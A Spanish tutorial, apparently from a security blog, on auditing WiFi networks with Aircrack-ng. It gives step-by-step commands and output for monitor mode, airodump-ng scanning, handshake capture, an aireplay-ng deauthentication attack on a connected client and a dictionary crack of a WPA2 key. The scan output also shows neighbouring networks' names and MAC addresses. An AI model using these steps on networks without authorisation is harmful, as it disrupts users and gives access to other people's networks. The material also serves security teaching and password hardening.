Skip to content

Explotación de vulnerabilidades en redes Wifi

Como se ha detallado en el apartado anterior encontramos diferentes aspectos dentro de una red wifi que deben de ser analizados. Para realizar análisis de redes wifi disponemos de la suite Aircrack-ng, la cual nos brinda numerosas herramientas para poder realizar dicho análisis.

¿Qué es el modo monitor?

Antes de entrar en materia, es necesario introducir un concepto nuevo en el ámbito de las redes wifi: monitor mode. Haciendo una simple búsqueda en Wikipedia encontramos:

Monitor mode, or RFMON (Radio Frequency MONitor) mode, allows a computer with a wireless network interface controller (WNIC) to monitor all traffic received on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point or ad hoc network first

Traduciendo al español (la parte que nos interesa) concluimos que el modo monitor nos permite capturar paquetes sin necesidad de estar asociado a un punto de acceso. Esta funcionalidad que nos permiten determinadas chips de tarjetas wifi será esencial para analizar las diferentes redes de nuestro entorno.

¿Cómo comprobar si la tarjeta es compatible?

Una vez que ha quedado claro que es el modo monitor y para que sirve, se recomienda utilizar tarjetas externas por dos razones principales:

  • El chipset de las tarjetas externas brindan mejor soporte para modo monitor.
  • La tarjeta wifi interna puede ser dañada debido al procesamiento de paquetes.

Dicho esto, lo primero que tenemos que realizar sería comprobar que tenemos una tarjeta que soporte el modo monitor, para ello utilizaremos el siguiente comando:

1
    $ iw list

Dentro de la salida extensa de este comando tenemos la categoria Supported interface modes donde podemos comprobar si se incluye el modo monitor.

Activando el modo monitor: airmon-ng

Una vez comprobado si la tarjeta es compatible, pasaremos a ponerla el modo monitor.

Aircrack-ng requiere ser ejecutado como root Para los ejemplos de comandos se utilizará la interfaz wlan1, esto debe de ser cambiado según la interfaz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ root@HowIsCoding:~$  airmon-ng check wlan1

Found 5 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
5771 dhclient
7888 wpa_supplicant
8878 NetworkManager
9214 avahi-daemon
9225 avahi-daemon

Antes de poner la interfaz en modo monitor debemos de realizar una comprobación en busca de procesos (como el network Manager) que esten utilizando la interfaz, de forma que tendremos que matarlos. Si dejamos estos procesos corriendo pueden realizar acciones como cambiar la antena de canal o impedirla trabajar el modo monitor.

Para matar estos procesos simplemente usamos la herramienta airmon-ng para matarlos:

1
$ airmon-ng check kill

Info

Posteriormente tendremos que habilitar el proceso network-manager para conectarnos a la red wifi. También será necesario desactivar la interfaz de modo monitor.

Cuando tenemos los procesos que entraban en conflicto matados podemos pasar a poner la interfaz en modo monitor, para ello usaremos la misma herramienta:

1
2
3
4
5
6
7
8
$ airmon-ng start wlan1

PHY Interface   Driver      Chipset

phy0    wlan1       ath9k_htc   Atheros Communications, Inc. AR9271 802.11n

    (mac80211 monitor mode vif enabled for [phy0]wlan1 on [phy0]wlan1mon)
    (mac80211 station mode vif disabled for [phy0]wlan1)

Como podemos ver en la salida del comando airmon-ng se ha habilitado el modo monitor de nuestra tarjeta. Para operar con el modo monitor se habilita la interfaz wlan1mon.

Podemos comprobar los canales Wifi en los que esta escuchando nuestra tarjeta en modo monitor, para ello podemos usar el comando:

1
$ iwlist wlan1mon channel

Cuando hemos encontrado la red que queremos auditar (como se explicará en el siguiente apartado), podemos suministrar el canal como argumento opcional a airmon-ng, de la siguiente forma:

1
$ airmon-ng start wlan1 3

Al igual que podemos poner la tarjeta en modo monitor, cuando terminemos de trabajar con ella debemos desactivarla, para ello airmon-ng nos permite desactivarlo haciendo uso del comando:

1
$ airmon-ng stop wlan1

Escaneando redes wifi: airodump-ng

Una vez con nuestra interfaz en modo monitor pasaremos a realizar un escaneo de todas las redes wifi que estan en nuestro entorno, para ello utilizaremos la herramienta airodump-ng

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ airodump-ng wlan1mon

CH 12 ][ Elapsed: 12 s ][ 2019-01-13 13:34

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 AA:5D:17:03:35:FC  -41       33        0    0   7  54   WPA2 CCMP   PSK  RaspberryPI        
 7C:8B:CA:6C:85:80  -42       21      100   40   4   54  WPA2 CCMP   PSK  TP-Link_8580       
 A4:08:F5:E6:23:06  -57       13        0    0  11   54  WPA2 CCMP   PSK  vodafone2300       
 94:6A:B0:CB:6F:EA  -62       19       80    0   4   54  WPA2 CCMP   PSK  MiFibra-6FE8       
 F8:FB:56:28:37:01  -69        1        3    0   7   54  WPA2 CCMP   PSK  micasa             
 44:48:C1:0F:0B:01  -72        5        0    0  11   54  WPA2 CCMP   MGT  VECTORITC-CORPORATI
 78:29:ED:83:11:BF  -73        8        0    0  11   54  WPA2 CCMP   PSK  MOVISTAR_11BE      
 44:48:C1:0F:0B:00  -73        7        0    0  11   54  WPA2 CCMP   MGT  VECTORITC-COLABORAD
 44:48:C1:0F:0B:02  -73        7        0    0  11   54  OPN              VECTORITC-INVITADOS
 B0:4E:26:1D:93:57  -74        2        0    0   6   54  WPA2 CCMP   PSK  TP-Link_9358        
 EC:08:6B:AB:77:F0  -75        4        0    0   3   54  WPA2 CCMP   PSK  TP-LINK_77F0       
 F4:F2:6D:2C:58:99  -83        1        2    0   9   54  WPA2 CCMP   PSK  Ororo _EXT          
 F4:F2:6D:EC:C4:71  -83        0       22    0  10  -1   WPA              <length:  0>        
00:16:0A:13:DB:42  -85        5        0    0  11  54 . WPA2 CCMP   PSK  RAFAELA

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

7C:8B:CA:6C:85:80  10:02:B5:8A:95:26   -1    0e- 0      0      100                           
94:6A:B0:CB:6F:EA  7C:8B:CA:6C:85:81  -29    5e- 0e     0       76                           
F8:FB:56:28:37:01  E4:0E:EE:44:DF:24  -72    1e- 1      0        4                           
EC:08:6B:AB:77:F0  4C:74:03:70:7C:3A  -85    0 - 6      0        1

La terminología usada en el resultado de este comando esta explicada en el apartado anterior

Warning

Detectamos en el escaneo una red OPN, esto quiere decir que no posee cifrado. Dejar una red sin cifrado (aunque sea una pública) puede desembocar y graves problemas de seguridad. Siempre es recomendado tener habilitado el protocolo WPA2 CCMP o WPA3 al ser el protocolo más robusto.

Airodump-ng realizará un escaneo por todos los canales de radio referentes a las redes wifi e irá buscando las diferentes señales y los clientes conectados a la mismas.

Este resultado nos será útil para identificar todas las señales wifi de nuestro entorno, así como los clientes conectados a estas. Tenemos que tener en cuenta que si un punto de acceso tiene clientes conectados, el proceso de obtención de la contraseña será más fácil de realizar.

Limitando el rango de búsqueda

En el anterior ejemplo estabamos haciendo una captura de todos los canales wifi, de forma que nuestra interfaz (en modo monitor) iba cambiando constantemente de canal para encontrar los clientes y puntos de acceso de cada canal.

Sin embargo, cuando estamos trabando con un objetivo en concreto tenemos que capturar información exclusivamente de dicho AP para ello tenemos que especificar su dirección MAC(bssid) y Canal en el que emite podemos obtener mayor información de esta red, indicaremos también un fichero donde almacenar la información que capturemos, de forma que el handshake quede almacenado para posterior tratamiento.

1
$ airodump-ng --bssid 7C:8B:CA:6C:85:80 -c 4 -w capture wlan1mon

Este comando nos dará como resultado un paquete cap(capture.cap) para analizar posteriormente.

Tenemos que esperar hasta que capturemos el handsake, es decir, tenemos que esperar hasta que un cliente se conecte al punto de acceso y por ende comience el proceso de autenticación descrito anteriormente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ CH  4 ][ Elapsed: 30 s ][ 2019-01-13 13:46 ][ WPA handshake: 7C:8B:CA:6C:85:80

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 7C:8B:CA:6C:85:80  -34  57      303    12529  816   4   54  WPA2 CCMP   PSK  TP-Link_8580

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 7C:8B:CA:6C:85:80  CC:9F:7A:1D:02:27  -35    0e- 0e   108      317  TP-Link_8580             
 7C:8B:CA:6C:85:80  10:02:B5:8A:95:26  -42    0e- 6e     0    12360

En este momento hemos obtenido el handsake referente al AP, de forma que podemos detener la captura de paquetes.

Generando tráfico Wifi: aireplay-ng

aireplay-ng es una herramienta dentro de la suite que nos permite generar tráfico para posteiormente utilizarlo en el proceso de craking de contraseñas WEP o WPA PSK.

En nuestro caso, estamos trabajando en una red WPA PSK. Cuando encontramos un cliente conectado a esta red, el proceso de captura de handsake parece imposible (puesto que el handsake se obtiene durante el proceso de autenticación), por lo cual, tendríamos que esperar a que el cliente u otro nuevo se conecte, en este punto es donde entra en juego aireplay.

Podemos enviar paquetes que permite desautenticar a los clientes de una red, dichos clientes, posteriormente se verán obligados a conectarse y nosotros capturaremos el handsake.

Con aireplay-ng podemos enviar diferente tipo de tráfico, sin embargo, como hemos mencionado en nuestro caso nos interesa desauntenticar al usuario, para ello usaremos:

1
2
3
4
5
6
$ root@kali:~# aireplay-ng -0 0 -a 7C:8B:CA:6C:85:80 -c CC:9F:7A:1D:02:27 wlan1mon             
14:05:50  Waiting for beacon frame (BSSID: 7C:8B:CA:6C:85:80) on channel 4                   
14:05:51  Sending 64 directed DeAuth (code 7). STMAC: [CC:9F:7A:1D:02:27] [19|65 ACKs]       
14:05:51  Sending 64 directed DeAuth (code 7). STMAC: [CC:9F:7A:1D:02:27] [ 0|58 ACKs]       
14:05:52  Sending 64 directed DeAuth (code 7). STMAC: [CC:9F:7A:1D:02:27] [ 0|61 ACKs]       
14:05:53  Sending 64 directed DeAuth (code 7). STMAC: [CC:9F:7A:1D:02:27] [ 0|66 ACKs]

En este comando, estamos especificando los siguientes parámetros:

  • -0 0 --> Indicamos que es un ataque de desautenticación. Con 0 indicamos el intervalo de envío, en este caso continuamente

  • -a --> Indicamos la dirección MAC del punto de acceso

  • -c --> Indicamos la dirección MAC del cliente para desautenticar

Pasando un tiempo, el cliente será desautenticado y automaticamente intentará volver a conectarse (de forma manual o automática), será en ese momento donde podamos capturar el handsake.

Obteniendo la contraseña: aircrack-ng

aircrack-ng es la herramienta que nos permite crackear la contraseña, podemos utilizar diferentes métodos, en este caso vamos a realizar un ataque por diccionario. Podemos utilizar otros métodos como cracking mediante gpu haciendo uso de herramientas como pyrit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
$ aircrack-ng -w passwordList capture-01.cap

                       Aircrack-ng 1.5.2

  [00:00:00] 2/1 keys tested (25.73 k/s)

  Time left: 0 seconds                                     200.00%

                       KEY FOUND! [ $Afmin123 ]


  Master Key     : E3 77 86 87 FB A3 E9 54 77 EC 16 11 56 50 F8 C0 
                   D5 8B 37 2F 0E 16 A7 F1 38 A3 C9 E5 75 AB EE B7

  Transient Key  : 8D 67 66 D7 74 3D AD A5 76 08 83 91 3C 10 56 49 
                   81 14 B7 68 95 51 3B 2D 2D 25 70 1D D9 31 73 D2 
                   44 DE 8A 54 25 CA F9 AB B6 99 1A 9A 7E D3 D4 25 
                   EC E3 C5 E3 BF 4B 9A 1E 52 48 37 68 DA 8F 32 30

  EAPOL HMAC     : 79 F3 A9 F9 FA CA 60 C6 4E 45 8C 3D B6 77 0C D2

Tras realizar el ataque, si este ha concluido satisfactoriamente, encontraremos la contraseña, así como las diferentes claves utilizadas durante el proceso.

Warning

El cracking de la contraseña se ha realizado tan rápido a causa de que la contraseña esta dentro de un diccionario. Las contraseñas por defecto suelen estar en los diferentes diccionarios disponibles por internet.

A pesar de que la contraseña no este dentro de un diccionario podemos realizar un ataque usando procesamiento por GPU, de forma que si es simple la contraseña conllevará muy poco tiempo obtenerla.